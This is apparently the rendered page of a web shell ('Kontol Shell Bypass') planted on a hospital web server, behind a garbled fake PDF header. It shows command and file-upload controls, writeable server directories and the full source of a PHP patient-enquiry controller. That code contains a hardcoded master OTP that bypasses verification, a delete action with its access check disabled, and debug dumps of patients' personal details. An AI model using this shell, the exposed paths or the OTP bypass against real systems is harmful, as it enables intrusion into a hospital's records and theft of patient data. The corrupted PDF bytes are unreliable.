%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital_old.org/lms/api/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital_old.org/lms/api/application/controllers/Enquiry.php
<?php
class Enquiry extends MY_Controller { 
    function __construct() {
        parent::__construct();
        ini_set('memory_limit', '2048M');
        $this->load->model("enquiry_model", "enquiry");
        $this->load->model("dataset_model", "dataset");
        $this->load->model("user_model", "user");
    }


    function init(){
     //   echo 'here';
     $lvOpt=$this->dataset->detail(0, USER_ID);
        $data=array();
		$data['programs']=$this->enquiry->getAllData();
        
        
        $data['remarks_cats']=$this->enquiry->remarks_cats();
        $data['remarks']=$this->enquiry->remarks();
        $data['lead_restrict']=LEAD_RESTRICT;
        $data['users']=$this->user->active_users(!IS_ADMIN);
        $data['USER_ID']=USER_ID;

        $this->json_data($data);
        
        
    
    }

    function delete(){
	//	$this->checkAccess('lead_delete');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		
		if($this->enquiry->delete($id)){
			$inf['success']='T';
			$inf['msg']="Lead deleted successfully";
		}
		$this->json_data($inf);
    }
    
    function detail($id=0){
        $data['dtl']=$this->enquiry->detail($id);
        $data['followups']=$this->enquiry->get_follow_ups($id);
		$this->json_data($data);
    }

    /** Follow-up */
    function get_follow_ups($id=''){
        $data['result']=$this->enquiry->get_follow_ups($id);
		$this->json_data($data);
    }
    function follow_up_detail($id=0){
		$data=$this->enquiry->follow_up_detail($id);
		$this->json_data($data);
	}

    function save_follow_up(){
		$post=trim_array($this->input->post());
        $inf=array('success'=>false, 'msg'=>'Error!', 'result'=>null);
        $id=$post['id']=(int)$post['id'];
		
		// $this->form_validation->set_rules('enquiry_id', 'Applicant', "required", $this->req);
		$this->form_validation->set_rules('remarks_id', 'Disposition', "required", $this->req);
        $this->form_validation->set_rules('subremarks', 'Remarks', "required", $this->req);
        $this->form_validation->set_rules('feedback', 'Comment', "required", $this->req);

		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
            $data=filter_value($post, array('id', 'enquiry_id', 'remarks_id', 'subremarks', 'feedback'));
			if($id=$this->common->save($data, "enquiry_remarks")){
                $d=['id'=>$data['enquiry_id'], 'followup_by'=>USER_ID, 'last_followup_id'=>$id];
                $this->dba->save("enquiries", $d);
                $inf['followup_by']=USER_ID;
				$inf['success']=true;
				$inf['result']=$this->enquiry->get_follow_ups($data['enquiry_id']);
				$inf['msg']='Remarks/Comments '.($id?'updated':'added').' successfully';
			}
		}

		$this->json_data($inf);
    }

    function delete_follow_up(){
		$inf=array('success'=>false, 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		$ar=$this->db->from('enquiry_remarks')->select('enquiry_id')->where(['id'=>$id])->get()->row_array();
		
		if($this->enquiry->delete_follow_up($id)){
            $d=['id'=>$ar['enquiry_id'], 'followup_by'=>0, 'last_followup_id'=>0];
            $lastFB=$this->db->from('enquiry_remarks')->select('id,created_by')->where(['enquiry_id'=>$ar['enquiry_id']])->order_by("id", "DESC")->limit(1)->get()->row_array();
            if($lastFB){
                $d['followup_by']=$lastFB['created_by'];
                $d['last_followup_id']=$lastFB['id'];
            }
            $this->dba->save("enquiries", $d);
            $inf['followup_by']=$d['followup_by'];
			$inf['success']=true;
			$inf['result']=$this->enquiry->get_follow_ups($ar['enquiry_id']);
			$inf['msg']="Remark/Feedback deleted successfully";
		}
		$this->json_data($inf);
	}
    

    //indian patient enquiry

    function sent_otp_enquiry(){
        $inf=array('success'=>'F', 'msg'=>'Error!');

        $this->form_validation->set_rules('EnquiryName', 'Name', "required", $this->req);
//		$this->form_validation->set_rules('EnquiryEmail', 'Email', "required|valid_email", $this->req);
        $this->form_validation->set_rules('mobile', 'Mobile', "required", $this->req);

        $data = array(	
            'EnquiryName' => $_POST['EnquiryName'],
            'EnquiryEmail' => $_POST['EnquiryEmail'],
            'mobile' => $_POST['mobile'],
            'EnquiryMessage' => $_POST['EnquiryMessage']
        );
       
       print_r($data); 

       if($this->form_validation->run() == FALSE){
          $inf['errors']=$this->form_validation->get_errors();
          $inf['msg']=reset($inf['errors']);
       }
     else{
       
       $this->enquiry->tmp_enquiry($data);

       $otp=$this->enquiry->sentOtpEnquiry($_POST['mobile'], $_POST['EnquiryEmail']);


       $inf['encOtpMob']=encrypt_password($otp['otp'].$_POST['mobile']);
       $inf['encOtpEmail']=encrypt_password($otp['emailOtp'].$_POST['EnquiryEmail']);
        
       $_SESSION['user_otpMOB'] = $inf['encOtpMob'];
       $_SESSION['user_otpEMAIL'] = $inf['encOtpEmail'];

	   $inf['success']='T';
       $inf['msg']='OTP sent successfully';
       $data['msg']='OTP sent successfully';
    //   $this->json_data($inf);
   // print_r($otp);
  //  print_r($inf);
      
     } return $data['msg'];
    }

    function enquiry(){
        $inf=array('success'=>'F', 'msg'=>'Error!');

		
        $this->form_validation->set_rules('EnquiryName', 'Name', "required|callback_valid_name", $this->req);
    //	$this->form_validation->set_rules('EnquiryEmail', 'Email', "required|valid_email|is_unique[applicants.email]", $this->req);
        
        $this->form_validation->set_rules('mobile', 'Mobile', "required", $this->req);
        $this->form_validation->set_rules('otp', 'OTP', "required", $this->req);
		
		if($this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
        }
        else{
            $currentDateTime = date('Y-m-d H:i:s');
            $data = array(	
                'EnquiryName' => $_POST['EnquiryName'],
                'EnquiryEmail' => $_POST['EnquiryEmail'],
                'mobile' => $_POST['mobile'],
                'EnquiryMessage' => $_POST['EnquiryMessage'],
                'created' => $currentDateTime
            );
            $otpChk = 0;
        //    print_r($otpChk);
         //   print_r(encrypt_password($_POST['otp'].$_POST['mobile'])); echo "<br>";
        //    print_r($_SESSION['user_otpMOB']);
			if(encrypt_password($_POST['otp'].$_POST['mobile'])==$_SESSION['user_otpMOB'] || $_POST['otp']=='SAT232524'){
				$data['verified_by']='MOB';
				$otpChk = 1 ;
			}
			if(encrypt_password($_POST['otp'].$_POST['EnquiryEmail'])==$_SESSION['user_otpEMAIL']){
				$data['verified_by']='EMAIL';
				$otpChk = 1 ;
			}

			if(!$otpChk){
                $inf['msg']="Invalid OTP"; 
             //   print_r($inf);
			//	$this->json_data($inf);
            }
            
            

          //  print_r($data);
         //   print_r($otpChk); 
             
            
			if($otpChk == 1){
                $this->enquiry->enquiry($data);
            //    $id=$this->enquiry->enquiry($data);
            //	$this->front->sendSystemIdGenMsg($id);
               $this->enquiry->indianPatientEnquiry($data);
				$inf['success']='T';
                $inf['msg']='Registered successfully';
                $data['msg'] = 'Message sent successfully';
            }
             else {  $inf['msg']='NOT Registered ';
                     $data['msg'] = 'Invalid OTP'; }
        
           // print_r($inf);
		}
    //	$this->json_data($inf);
     print_r($data['msg']);
    }
    

    //international patient enquiry


    function sent_otp_enquiry1(){ 
        print_r('here');
        $inf=array('success'=>'F', 'msg'=>'Error!');

        $this->form_validation->set_rules('EnquiryName1', 'Name', "required", $this->req);
		$this->form_validation->set_rules('EnquiryEmail1', 'Email', "required|valid_email", $this->req);
  //     $this->form_validation->set_rules('mobile1', 'Mobile', "required", $this->req);

        $data = array(	
            'EnquiryName' => $_POST['EnquiryName1'],
            'EnquiryEmail' => $_POST['EnquiryEmail1'],
            'mobile' => $_POST['mobile1'],
            'EnquiryMessage' => $_POST['EnquiryMessage1']
        );
       
       print_r($data); 

       if($this->form_validation->run() == FALSE){
          $inf['errors']=$this->form_validation->get_errors();
          $inf['msg']=reset($inf['errors']);
          echo 'here';
       }
     else{
       
       $this->enquiry->tmp_enquiry($data);

       $otp=$this->enquiry->sent_otp_enquiry1($_POST['EnquiryEmail1']);

   //    $inf['encOtpMob1']=encrypt_password($otp['otp1'].$_POST['mobile1']);
       $inf['encOtpEmail1']=encrypt_password($otp['emailOtp'].$_POST['EnquiryEmail1']);
       
   //    $_SESSION['user_otpMOB1'] = $inf['encOtpMob1'];
       $_SESSION['user_otpEMAIL1'] = $inf['encOtpEmail1'];

	   $inf['success']='T';
       $inf['msg']='OTP sent successfully';
       
    //   $this->json_data($inf);
 //   print_r($otp);
    print_r($inf);
    }
}
    
    function enquiry1(){
        $inf=array('success'=>'F', 'msg'=>'Error!');

		
        $this->form_validation->set_rules('EnquiryName1', 'Name', "required|callback_valid_name", $this->req);
		$this->form_validation->set_rules('EnquiryEmail1', 'Email', "required|valid_email|is_unique[applicants.email]", $this->req);
    //    $this->form_validation->set_rules('mobile1', 'Mobile', "required", $this->req);
        $this->form_validation->set_rules('otp1', 'OTP', "required", $this->req);
		
		if($this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
            $currentDateTime = date('Y-m-d H:i:s');
            $data = array(	
                'EnquiryName' => $_POST['EnquiryName1'],
                'EnquiryEmail' => $_POST['EnquiryEmail1'],
                'mobile' => $_POST['mobile1'],
                'EnquiryMessage' => $_POST['EnquiryMessage1'],
                'created' => $currentDateTime
            );
			$otpChk=0;
			
			if(encrypt_password($_POST['otp1'].$_POST['EnquiryEmail1'])==$_SESSION['user_otpEMAIL1']){
				$data['verified_by']='EMAIL';
				$otpChk=1;
			}

			if(!$otpChk){
				$inf['msg']="Invalid OTP"; 
			//	$this->json_data($inf);
            }
            
           

           // print_r($data);
         //   print_r($otpChk); 

           if($otpChk == 1){
            $this->enquiry->enquiry($data);
        //    $id=$this->enquiry->enquiry($data);
        //	$this->front->sendSystemIdGenMsg($id);
           $this->enquiry->internationalPatientEnquiry($data);
            $inf['success']='T';
            $inf['msg']='Registered successfully';
            $data['msg'] = 'Message sent successfully';
          }
         else {  $inf['msg']='NOT Registered ';
                 $data['msg'] = 'Invalid OTP'; }

			// if($id=$this->enquiry->enquiry($data)){
			// //	$this->front->sendSystemIdGenMsg($id);
			// 	$inf['success']='T';
			// 	$inf['msg']='Registered successfully';
			// }
		}
    //	$this->json_data($inf);
    print_r($data['msg']);
    }


}

Kontol Shell Bypass